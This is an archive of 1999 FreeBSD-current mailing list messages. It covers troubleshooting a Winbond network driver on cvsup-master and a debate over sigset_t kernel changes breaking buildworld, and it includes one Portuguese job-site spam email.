  Features=0x183f9ff<FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,MMX,FXSR>
real memory  = 134205440 (131060K bytes)
avail memory = 126386176 (123424K bytes)
Preloaded elf kernel "kernel.generic" at 0xc03a7000.
Pentium Pro MTRR support enabled
npx0: <math processor> on motherboard
npx0: INT 16 interface
pcib0: <Intel 82443BX (440 BX) host to PCI bridge> on motherboard
pci0: <PCI bus> on pcib0
pcib1: <Intel 82443BX (440 BX) PCI-PCI (AGP) bridge> at device 1.0 on pci0
pci1: <PCI bus> on pcib1
isab0: <Intel 82371AB PCI to ISA bridge> at device 4.0 on pci0
isa0: <ISA bus> on isab0
ide_pci0: <Intel PIIX4 Bus-master IDE controller> at device 4.1 on pci0
chip1: <UHCI USB controller> irq 12 at device 4.2 on pci0
chip2: <Intel 82371AB Power management controller> at device 4.3 on pci0
wb0: <Winbond W89C840F 10/100BaseTX> irq 10 at device 10.0 on pci0
wb0: Ethernet address: 00:00:e8:18:5b:1d
miibus0: <MII bus> on wb0
amphy0: <Am79C873 10/100 media interface> on miibus0
amphy0:  10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto
ncr0: <ncr 53c875 fast20 wide scsi> irq 11 at device 11.0 on pci0
fdc0: <NEC 72065B or clone> at port 0x3f0-0x3f7 irq 6 drq 2 on isa0
fdc0: FIFO enabled, 8 bytes threshold
fd0: <1440-KB 3.5" drive> on fdc0 drive 0
atkbdc0: <keyboard controller (i8042)> at port 0x60-0x6f on isa0
atkbd0: <AT Keyboard> irq 1 on atkbdc0
sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0
sio0: type 16550A, console
sio1 at port 0x2f8-0x2ff irq 3 on isa0
sio1: type 16550A
sio2: not probed (disabled)
sio3: not probed (disabled)
ppc0 at port 0x378-0x37f irq 7 flags 0x40 on isa0
ppc0: SMC-like chipset (ECP/EPP/PS2/NIBBLE) in COMPATIBLE mode
ppc0: FIFO with 16/16/9 bytes threshold
plip0: <PLIP network interface> on ppbus 0
lpt0: <generic printer> on ppbus 0
lpt0: Interrupt-driven port
ppi0: <generic parallel i/o> on ppbus 0
ie0: unknown board_id: f000
Waiting 15 seconds for SCSI devices to settle
changing root device to da0s1a
da0 at ncr0 bus 0 target 0 lun 0
da0: <IBM DDRS-39130D DC1B> Fixed Direct Access SCSI-2 device 
da0: 40.000MB/s transfers (20.000MHz, offset 15, 16bit), Tagged Queueing Enabled
da0: 8715MB (17850000 512 byte sectors: 255H 63S/T 1111C)


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 17:36:49 1999
Delivered-To: freebsd-current@freebsd.org
Received: from skynet.ctr.columbia.edu (skynet.ctr.columbia.edu [128.59.64.70])
	by hub.freebsd.org (Postfix) with SMTP id E410215264
	for <current@freebsd.org>; Wed, 29 Sep 1999 17:36:39 -0700 (PDT)
	(envelope-from wpaul@skynet.ctr.columbia.edu)
Received: (from wpaul@localhost) by skynet.ctr.columbia.edu (8.6.12/8.6.9) id UAA03387; Wed, 29 Sep 1999 20:40:47 -0400
From: Bill Paul <wpaul@skynet.ctr.columbia.edu>
Message-Id: <199909300040.UAA03387@skynet.ctr.columbia.edu>
Subject: Re: Is the wb driver broken?
To: jdp@polstra.com (John Polstra)
Date: Wed, 29 Sep 1999 20:40:46 -0400 (EDT)
Cc: current@freebsd.org
In-Reply-To: <XFMail.990929172750.jdp@polstra.com> from "John Polstra" at Sep 29, 99 05:27:50 pm
X-Mailer: ELM [version 2.4 PL24]
Content-Type: text
Content-Length: 1524      
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Of all the gin joints in all the towns in all the world, John Polstra 
had to walk into mine and say:

> I've run into a problem with the wb0 interface (Winbond) on a
> machine running -current from yesterday.  (That's before any of
> the segset_t changes went in.)  Unfortunately, the machine is
> cvsup-master.freebsd.org, which makes this pretty urgent.

I converted the wb driver to miibus ages ago. Your description makes
it sound like the problem just magically appeared yesterday. That's
a no-no, m'kay?
 
> When I try to ifconfig the device, I get "ifconfig: SIOCSIFMEDIA:
> Device not configured":
> 
> cvsup-master# ifconfig wb0 inet 204.216.27.25  netmask 255.255.255.240 
>  media 100baseTX mediaopt half-duplex
> ifconfig: SIOCSIFMEDIA: Device not configured

You don't need to explicitly specify mediaopt half-duplex anymore.
Specifying media 100baseTX without mediaopt full-duplex implies
half-duplex. Leave off the mediaopt half-duplex part and it will work.


-Bill

-- 
=============================================================================
-Bill Paul            (212) 854-6020 | System Manager, Master of Unix-Fu
Work:         wpaul@ctr.columbia.edu | Center for Telecommunications Research
Home:  wpaul@skynet.ctr.columbia.edu | Columbia University, New York City
=============================================================================
 "It is not I who am crazy; it is I who am mad!" - Ren Hoek, "Space Madness"
=============================================================================


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 17:37:48 1999
Delivered-To: freebsd-current@freebsd.org
Received: from mail.zuhause.org (c2-178.xtlab.com [205.215.217.178])
	by hub.freebsd.org (Postfix) with ESMTP id 285FC151F6
	for <current@FreeBSD.ORG>; Wed, 29 Sep 1999 17:37:29 -0700 (PDT)
	(envelope-from bruce@zuhause.mn.org)
Received: by mail.zuhause.org (Postfix, from userid 1001)
	id 83B9F7C33; Wed, 29 Sep 1999 19:37:28 -0500 (CDT)
From: Bruce Albrecht <bruce@zuhause.mn.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <14322.45256.403099.72608@celery.zuhause.org>
Date: Wed, 29 Sep 1999 19:37:28 -0500 (CDT)
To: Ben Rosengart <ben@skunk.org>
Cc: current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
In-Reply-To: <Pine.BSF.4.10.9909291905290.56586-100000@penelope.skunk.org>
References: <19990929231253.B26394@foobar.franken.de>
	<Pine.BSF.4.10.9909291905290.56586-100000@penelope.skunk.org>
X-Mailer: VM 6.72 under 20.4 "Emerald" XEmacs  Lucid
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Ben Rosengart writes:
 > On Wed, 29 Sep 1999, Harold Gutch wrote:
 > 
 > > I interpreted the way of currently handling things (build the
 > > kernel first, then the userland) to be a _temporary_ solution,
 > > that Marcel was working on being fixed. If this is not the case,
 > > then I agree with you.
 > 
 > If I understand correctly, it only needs to be done once per system, but
 > it makes no difference whether it happens on a given system now or six
 > months from now.

And if I'm running a version of 3.x or older version of -current that
can't even build a working kernel because config is out of sync with the
kernel sources?  I agree with Rod Grimes, if you can't build it with make
world, and you're not going to fix it so it can be, it should be
backed out.


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 17:46: 0 1999
Delivered-To: freebsd-current@freebsd.org
Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74])
	by hub.freebsd.org (Postfix) with ESMTP id 7228115285
	for <current@freebsd.org>; Wed, 29 Sep 1999 17:45:48 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13])
	by wall.polstra.com (8.9.3/8.9.3) with ESMTP id RAA18576;
	Wed, 29 Sep 1999 17:45:47 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Received: (from jdp@localhost)
	by vashon.polstra.com (8.9.3/8.9.1) id RAA23734;
	Wed, 29 Sep 1999 17:45:46 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Message-ID: <XFMail.990929174546.jdp@polstra.com>
X-Mailer: XFMail 1.3 [p0] on FreeBSD
X-Priority: 3 (Normal)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit
MIME-Version: 1.0
In-Reply-To: <199909300040.UAA03387@skynet.ctr.columbia.edu>
Date: Wed, 29 Sep 1999 17:45:46 -0700 (PDT)
Organization: Polstra & Co., Inc.
From: John Polstra <jdp@polstra.com>
To: Bill Paul <wpaul@skynet.ctr.columbia.edu>
Subject: Re: Is the wb driver broken?
Cc: current@freebsd.org
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Bill Paul wrote:
> 
> I converted the wb driver to miibus ages ago. Your description makes
> it sound like the problem just magically appeared yesterday. That's
> a no-no, m'kay?

Thanks for the quick reply.  I didn't mean to imply anything.  I
have one machine with a Winbond running current a week old, and
never saw the problem there.  I also notice that there have been
commits to a lot of the network interfaces recently, including wb.
In any case, I'm a bit stressed out over having broken cvsup-master,
so please forgive me if I clumsily gave offense.

>> cvsup-master# ifconfig wb0 inet 204.216.27.25  netmask 255.255.255.240 
>>  media 100baseTX mediaopt half-duplex
>> ifconfig: SIOCSIFMEDIA: Device not configured
> 
> You don't need to explicitly specify mediaopt half-duplex anymore.
> Specifying media 100baseTX without mediaopt full-duplex implies
> half-duplex. Leave off the mediaopt half-duplex part and it will work.

OK, I did that and it made the SIOCSIFMEDIA message go away.  But
now it's not showing carrier:

Doing initial network setup: hostname domain.
wb0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
        inet 204.216.27.25 netmask 0xfffffff0 broadcast 204.216.27.31
        ether 00:00:e8:18:5b:1d 
        media: 100baseTX status: no carrier
        supported media: autoselect 100baseTX <full-duplex> 100baseTX 10baseT/UTP <full-duplex> 10baseT/UTP none

Any other ideas?

Thanks,
John


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 17:50:47 1999
Delivered-To: freebsd-current@freebsd.org
Received: from curriculum.com.br (mail.curriculum.com.br [200.246.167.45])
	by hub.freebsd.org (Postfix) with ESMTP id C9A99151FB
	for <current@freebsd.org>; Wed, 29 Sep 1999 17:50:30 -0700 (PDT)
	(envelope-from news-owner@curriculum.com.br)
Received: from marcelo [200.246.167.7] by curriculum.com.br
  (SMTPD32-5.05) id A3C3E00B0; Wed, 29 Sep 1999 17:17:07 -0300
Message-ID: <014801bf0ab6$5f3e3060$07a7f6c8@alphanet.com.br>
Reply-To: "Administracao" <admin@curriculum.com.br>
From: "Administracao" <admin@curriculum.com.br>
To: "Novidades" <news@curriculum.com.br>
Subject: www.curriculum.com.br faz 6 meses de muito sucesso !        
Date: Wed, 29 Sep 1999 17:08:18 -0300
Organization: www.curriculum.com.br
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0145_01BF0A9D.39956AE0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

This is a multi-part message in MIME format.

------=_NextPart_000_0145_01BF0A9D.39956AE0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Esta contente com seu emprego atual?

J=E1 imaginou que poderia neste instante estar sendo chamado para uma =
entrevista em uma grande empresa, algo que poderia estar mudando =
completamente o seu futuro?

Porque se privar desta poss=EDvel oportunidade?

Saia do anonimato!

Independente se est=E1 ou n=E3o empregado, coloque-se a disposi=E7=E3o =
do mercado de trabalho. Este =E9 o futuro. Deixe as portas abertas para =
novas oportunidades. Utilize a for=E7a da Internet e deixe ela trabalhar =
por voc=EA.

www.curriculum.com.br est=E1 completando seu 6=BA m=EAs de vida e tem =
auxiliado muitos a conseguirem um emprego ou uma melhor coloca=E7=E3o.

Cadastre-se gratuitamente em nosso site e fa=E7a parte da maior vitrine =
de profissionais do Brasil que hoje conta com mais de 36.000 =
curr=EDculos cadastrados, al=E9m de muitas vagas de empregos.

Usufrua de todos os benef=EDcios que um site inteligente e bem planejado =
tem a lhe oferecer. Tenha o seu pr=F3prio UCN juntamente com um e-mail =
inteiramente gr=E1tis.

Se voc=EA ainda n=E3o nos conhece, venha nos fazer uma visita.

Se voc=EA j=E1 nos conhece, venha ver o novo design e as novidades do =
site.

=C9 http://www.curriculum.com.br trabalhando por voc=EA hoje e sempre!


------=_NextPart_000_0145_01BF0A9D.39956AE0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3401" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>
<DIV>
<P><FONT face=3DVerdana size=3D2>Esta contente com seu emprego =
atual?</FONT></P>
<P><FONT face=3DVerdana size=3D2>J=E1 imaginou que poderia neste =
instante estar sendo=20
chamado para uma entrevista em uma grande empresa, algo que poderia =
estar=20
mudando completamente o seu futuro?</FONT></P>
<P><FONT face=3DVerdana size=3D2>Porque se privar desta poss=EDvel=20
oportunidade?</FONT></P>
<P><FONT face=3DVerdana size=3D2>Saia do anonimato!</FONT></P>
<P><FONT face=3DVerdana size=3D2>Independente se est=E1 ou n=E3o =
empregado, coloque-se a=20
disposi=E7=E3o do mercado de trabalho. Este =E9 o futuro. Deixe as =
portas abertas para=20
novas oportunidades. Utilize a for=E7a da Internet e deixe ela trabalhar =
por=20
voc=EA.</FONT></P>
<P><FONT face=3DVerdana size=3D2>www.curriculum.com.br est=E1 =
completando seu=20
6<U>=BA</U> m=EAs de vida e tem auxiliado muitos a conseguirem um =
emprego ou uma=20
melhor coloca=E7=E3o.</FONT></P>
<P><FONT face=3DVerdana size=3D2>Cadastre-se gratuitamente em nosso site =
e fa=E7a=20
parte da maior vitrine de profissionais do Brasil que hoje conta com =
mais de=20
36.000 curr=EDculos cadastrados, al=E9m de muitas vagas de =
empregos.</FONT></P>
<P><FONT face=3DVerdana size=3D2>Usufrua de todos os benef=EDcios que um =
site=20
inteligente e bem planejado tem a lhe oferecer. Tenha o seu pr=F3prio =
UCN=20
juntamente com um e-mail inteiramente gr=E1tis.</FONT></P>
<P><FONT face=3DVerdana size=3D2>Se voc=EA ainda n=E3o nos conhece, =
venha nos fazer uma=20
visita.</FONT></P>
<P><FONT face=3DVerdana size=3D2>Se voc=EA j=E1 nos conhece, venha ver o =
novo design e=20
as novidades do site.</FONT></P>
<P><FONT face=3DVerdana size=3D2>=C9 http://www.curriculum.com.br =
trabalhando por voc=EA=20
hoje e sempre!</FONT></P></DIV></DIV></BODY></HTML>

------=_NextPart_000_0145_01BF0A9D.39956AE0--



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 17:52:57 1999
Delivered-To: freebsd-current@freebsd.org
Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193])
	by hub.freebsd.org (Postfix) with ESMTP id 5B3A9155A1
	for <current@FreeBSD.ORG>; Wed, 29 Sep 1999 17:52:33 -0700 (PDT)
	(envelope-from wollman@khavrinen.lcs.mit.edu)
Received: (from wollman@localhost)
	by khavrinen.lcs.mit.edu (8.9.3/8.9.3) id UAA01910;
	Wed, 29 Sep 1999 20:52:20 -0400 (EDT)
	(envelope-from wollman)
Date: Wed, 29 Sep 1999 20:52:20 -0400 (EDT)
From: Garrett Wollman <wollman@khavrinen.lcs.mit.edu>
Message-Id: <199909300052.UAA01910@khavrinen.lcs.mit.edu>
To: Ben Rosengart <ben@skunk.org>
Cc: Harold Gutch <logix@foobar.franken.de>, Doug <Doug@gorean.org>,
	Marcel Moolenaar <marcel@scc.nl>, current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
In-Reply-To: <Pine.BSF.4.10.9909291905290.56586-100000@penelope.skunk.org>
References: <19990929231253.B26394@foobar.franken.de>
	<Pine.BSF.4.10.9909291905290.56586-100000@penelope.skunk.org>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

<<On Wed, 29 Sep 1999 19:06:24 -0400 (EDT), Ben Rosengart <ben@skunk.org> said:

> If I understand correctly, it only needs to be done once per system, but
> it makes no difference whether it happens on a given system now or six
> months from now.

Surely.  The thing we have to be careful about is making sure that the
kernel does not grow new dependencies on software that now can't get
built ahead of time.  I tripped over one of these when I last upgraded
my desktop: the kernel contained some __asm statements which were only
valid in EGCS.  This is a hard problem in general, but sometimes we
just need to say ``screw it!'' and do what's necessary to advance the
state of the art.

-GAWollman

--
Garrett A. Wollman   | O Siem / We are all family / O Siem / We're all the same
wollman@lcs.mit.edu  | O Siem / The fires of freedom 
Opinions not those of| Dance in the burning flame
MIT, LCS, CRS, or NSA|                     - Susan Aglukark and Chad Irschick


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 17:55: 2 1999
Delivered-To: freebsd-current@freebsd.org
Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193])
	by hub.freebsd.org (Postfix) with ESMTP id E203915A10
	for <current@FreeBSD.ORG>; Wed, 29 Sep 1999 17:54:17 -0700 (PDT)
	(envelope-from wollman@khavrinen.lcs.mit.edu)
Received: (from wollman@localhost)
	by khavrinen.lcs.mit.edu (8.9.3/8.9.3) id UAA01918;
	Wed, 29 Sep 1999 20:54:13 -0400 (EDT)
	(envelope-from wollman)
Date: Wed, 29 Sep 1999 20:54:13 -0400 (EDT)
From: Garrett Wollman <wollman@khavrinen.lcs.mit.edu>
Message-Id: <199909300054.UAA01918@khavrinen.lcs.mit.edu>
To: "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net>
Cc: Doug@gorean.org (Doug), logix@foobar.franken.de (Harold Gutch),
	ben@skunk.org (Ben Rosengart), marcel@scc.nl (Marcel Moolenaar),
	current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
In-Reply-To: <199909292351.QAA21938@gndrsh.dnsmgr.net>
References: <Pine.BSF.4.10.9909291632080.35014-100000@dt014n8c.san.rr.com>
	<199909292351.QAA21938@gndrsh.dnsmgr.net>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

<<On Wed, 29 Sep 1999 16:51:37 -0700 (PDT), "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net> said:

> If it is broken, please back out the signal changes or fix the tools
> target.

No, Rod, just Deal With It(tm).


-GAWollman



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 17:55: 9 1999
Delivered-To: freebsd-current@freebsd.org
Received: from skynet.ctr.columbia.edu (skynet.ctr.columbia.edu [128.59.64.70])
	by hub.freebsd.org (Postfix) with SMTP id B76C115651
	for <current@freebsd.org>; Wed, 29 Sep 1999 17:54:32 -0700 (PDT)
	(envelope-from wpaul@skynet.ctr.columbia.edu)
Received: (from wpaul@localhost) by skynet.ctr.columbia.edu (8.6.12/8.6.9) id UAA03451; Wed, 29 Sep 1999 20:58:51 -0400
From: Bill Paul <wpaul@skynet.ctr.columbia.edu>
Message-Id: <199909300058.UAA03451@skynet.ctr.columbia.edu>
Subject: Re: Is the wb driver broken?
To: jdp@polstra.com (John Polstra)
Date: Wed, 29 Sep 1999 20:58:50 -0400 (EDT)
Cc: current@freebsd.org
In-Reply-To: <XFMail.990929174546.jdp@polstra.com> from "John Polstra" at Sep 29, 99 05:45:46 pm
X-Mailer: ELM [version 2.4 PL24]
Content-Type: text
Content-Length: 1869      
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Of all the gin joints in all the towns in all the world, John Polstra 
had to walk into mine and say:
 
> >> cvsup-master# ifconfig wb0 inet 204.216.27.25  netmask 255.255.255.240 
> >>  media 100baseTX mediaopt half-duplex
> >> ifconfig: SIOCSIFMEDIA: Device not configured
> > 
> > You don't need to explicitly specify mediaopt half-duplex anymore.
> > Specifying media 100baseTX without mediaopt full-duplex implies
> > half-duplex. Leave off the mediaopt half-duplex part and it will work.
> 
> OK, I did that and it made the SIOCSIFMEDIA message go away.  But
> now it's not showing carrier:
> 
> Doing initial network setup: hostname domain.
> wb0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
>         inet 204.216.27.25 netmask 0xfffffff0 broadcast 204.216.27.31
>         ether 00:00:e8:18:5b:1d 
>         media: 100baseTX status: no carrier
>         supported media: autoselect 100baseTX <full-duplex> 100baseTX 10baseT/UTP <full-duplex> 10baseT/UTP none
> 
> Any other ideas?

Is there any reason why you're not letting it autodetect (which is
what it does by default, or with media autoselect). Make sure it's
plugged in, make sure the link light is lit. Try to ping somebody
on the network (or run tcpdump on the interface). You can't just
sit there and look at it: you have to experiment.

-Bill

-- 
=============================================================================
-Bill Paul            (212) 854-6020 | System Manager, Master of Unix-Fu
Work:         wpaul@ctr.columbia.edu | Center for Telecommunications Research
Home:  wpaul@skynet.ctr.columbia.edu | Columbia University, New York City
=============================================================================
 "It is not I who am crazy; it is I who am mad!" - Ren Hoek, "Space Madness"
=============================================================================


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 18: 1: 0 1999
Delivered-To: freebsd-current@freebsd.org
Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74])
	by hub.freebsd.org (Postfix) with ESMTP id DE62D15076
	for <current@freebsd.org>; Wed, 29 Sep 1999 18:00:43 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13])
	by wall.polstra.com (8.9.3/8.9.3) with ESMTP id SAA18646;
	Wed, 29 Sep 1999 18:00:42 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Received: (from jdp@localhost)
	by vashon.polstra.com (8.9.3/8.9.1) id SAA23780;
	Wed, 29 Sep 1999 18:00:42 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Message-ID: <XFMail.990929180041.jdp@polstra.com>
X-Mailer: XFMail 1.3 [p0] on FreeBSD
X-Priority: 3 (Normal)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit
MIME-Version: 1.0
In-Reply-To: <199909300058.UAA03451@skynet.ctr.columbia.edu>
Date: Wed, 29 Sep 1999 18:00:41 -0700 (PDT)
Organization: Polstra & Co., Inc.
From: John Polstra <jdp@polstra.com>
To: Bill Paul <wpaul@skynet.ctr.columbia.edu>
Subject: Re: Is the wb driver broken?
Cc: current@freebsd.org
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Bill Paul wrote:
>> 
>> OK, I did that and it made the SIOCSIFMEDIA message go away.  But
>> now it's not showing carrier:
>> 
>> Doing initial network setup: hostname domain.
>> wb0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
>>         inet 204.216.27.25 netmask 0xfffffff0 broadcast 204.216.27.31
>>         ether 00:00:e8:18:5b:1d 
>>         media: 100baseTX status: no carrier
>>         supported media: autoselect 100baseTX <full-duplex> 100baseTX 10baseT/UTP <full-duplex> 10baseT/UTP none
>> 
>> Any other ideas?
> 
> Is there any reason why you're not letting it autodetect (which is
> what it does by default, or with media autoselect).

I inherited an /etc/rc.conf file that somebody else set up.  I'll
try letting it autodetect and see what happens.

But ... after I sent off that last mail, it acquired the carrier
after a small delay.  I don't know why it didn't see it at first.

> Make sure it's plugged in, make sure the link light is lit.

Er, I happen to be 1000 miles away from the link light.  Maybe if I
squint real hard ... :-)

Thanks for the help.  I seem to be over the hump on the wb interface
anyway.

John
--
  John Polstra                                               jdp@polstra.com
  John D. Polstra & Co., Inc.                        Seattle, Washington USA
  "No matter how cynical I get, I just can't keep up."        -- Nora Ephron


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 18: 7: 8 1999
Delivered-To: freebsd-current@freebsd.org
Received: from skynet.ctr.columbia.edu (skynet.ctr.columbia.edu [128.59.64.70])
	by hub.freebsd.org (Postfix) with SMTP id C452F152C9
	for <current@freebsd.org>; Wed, 29 Sep 1999 18:06:56 -0700 (PDT)
	(envelope-from wpaul@skynet.ctr.columbia.edu)
Received: (from wpaul@localhost) by skynet.ctr.columbia.edu (8.6.12/8.6.9) id VAA03508; Wed, 29 Sep 1999 21:11:17 -0400
From: Bill Paul <wpaul@skynet.ctr.columbia.edu>
Message-Id: <199909300111.VAA03508@skynet.ctr.columbia.edu>
Subject: Re: Is the wb driver broken?
To: jdp@polstra.com (John Polstra)
Date: Wed, 29 Sep 1999 21:11:16 -0400 (EDT)
Cc: current@freebsd.org
In-Reply-To: <XFMail.990929180041.jdp@polstra.com> from "John Polstra" at Sep 29, 99 06:00:41 pm
X-Mailer: ELM [version 2.4 PL24]
Content-Type: text
Content-Length: 1541      
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Of all the gin joints in all the towns in all the world, John Polstra 
had to walk into mine and say:

> > Is there any reason why you're not letting it autodetect (which is
> > what it does by default, or with media autoselect).
> 
> I inherited an /etc/rc.conf file that somebody else set up.  I'll
> try letting it autodetect and see what happens.
> 
> But ... after I sent off that last mail, it acquired the carrier
> after a small delay.  I don't know why it didn't see it at first.

It could be that either the PHY or the hub port take a second to
get their brains together.
 
> > Make sure it's plugged in, make sure the link light is lit.
> 
> Er, I happen to be 1000 miles away from the link light.  Maybe if I
> squint real hard ... :-)

You know, I have a rule about not doing software upgrades on
equipment that I can't actually get my hands on.
 
> Thanks for the help.  I seem to be over the hump on the wb interface
> anyway.

I trust this means it's actually passing traffic.

-Bill

-- 
=============================================================================
-Bill Paul            (212) 854-6020 | System Manager, Master of Unix-Fu
Work:         wpaul@ctr.columbia.edu | Center for Telecommunications Research
Home:  wpaul@skynet.ctr.columbia.edu | Columbia University, New York City
=============================================================================
 "It is not I who am crazy; it is I who am mad!" - Ren Hoek, "Space Madness"
=============================================================================


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 18:10:39 1999
Delivered-To: freebsd-current@freebsd.org
Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74])
	by hub.freebsd.org (Postfix) with ESMTP id C58AA14D4A
	for <current@freebsd.org>; Wed, 29 Sep 1999 18:10:25 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13])
	by wall.polstra.com (8.9.3/8.9.3) with ESMTP id SAA18699;
	Wed, 29 Sep 1999 18:10:24 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Received: (from jdp@localhost)
	by vashon.polstra.com (8.9.3/8.9.1) id SAA23807;
	Wed, 29 Sep 1999 18:10:23 -0700 (PDT)
	(envelope-from jdp@polstra.com)
Message-ID: <XFMail.990929181023.jdp@polstra.com>
X-Mailer: XFMail 1.3 [p0] on FreeBSD
X-Priority: 3 (Normal)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit
MIME-Version: 1.0
In-Reply-To: <199909300111.VAA03508@skynet.ctr.columbia.edu>
Date: Wed, 29 Sep 1999 18:10:23 -0700 (PDT)
Organization: Polstra & Co., Inc.
From: John Polstra <jdp@polstra.com>
To: Bill Paul <wpaul@skynet.ctr.columbia.edu>
Subject: Re: Is the wb driver broken?
Cc: current@freebsd.org
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Bill Paul wrote:
> 
> You know, I have a rule about not doing software upgrades on
> equipment that I can't actually get my hands on.

Me too.  That's why it's stressing me out. :-)

I do have access to the serial console, and there are people on-site
who can give the box a kick if I need them to.

> I trust this means it's actually passing traffic.

Yep.  Things are looking pretty reasonable now.  Thanks again.

John


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Wed Sep 29 18:19:35 1999
Delivered-To: freebsd-current@freebsd.org
Received: from chmls06.mediaone.net (chmls06.mediaone.net [24.128.1.71])
	by hub.freebsd.org (Postfix) with ESMTP id 5BAA4150AB
	for <current@FreeBSD.ORG>; Wed, 29 Sep 1999 18:19:26 -0700 (PDT)
	(envelope-from bloom@acm.org)
Received: from acm.org (jbloom.ne.mediaone.net [24.128.100.196])
	by chmls06.mediaone.net (8.8.7/8.8.7) with ESMTP id VAA04209
	for <current@FreeBSD.ORG>; Wed, 29 Sep 1999 21:19:21 -0400 (EDT)
Message-ID: <37F2BA3C.D54CC74B@acm.org>
Date: Wed, 29 Sep 1999 21:17:48 -0400
From: Jim Bloom <bloom@acm.org>
X-Mailer: Mozilla 4.61 [en]C-MOENE  (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
Cc: current@FreeBSD.ORG
Subject: Re: HEADS UP: sigset_t changes committed
References: <Pine.BSF.4.10.9909291632080.35014-100000@dt014n8c.san.rr.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

I believe this must be fixed.  At some point in time, there is going to be
another change to the kernel such that some older version of the code cannot run
on a new kernel.  I believe this situation has occurred before.  This will lead
to a situation where a new kernel is required before the build and a new build
is required before the new kernel is installed.  We cannot have this paradox.

Jim Bloom
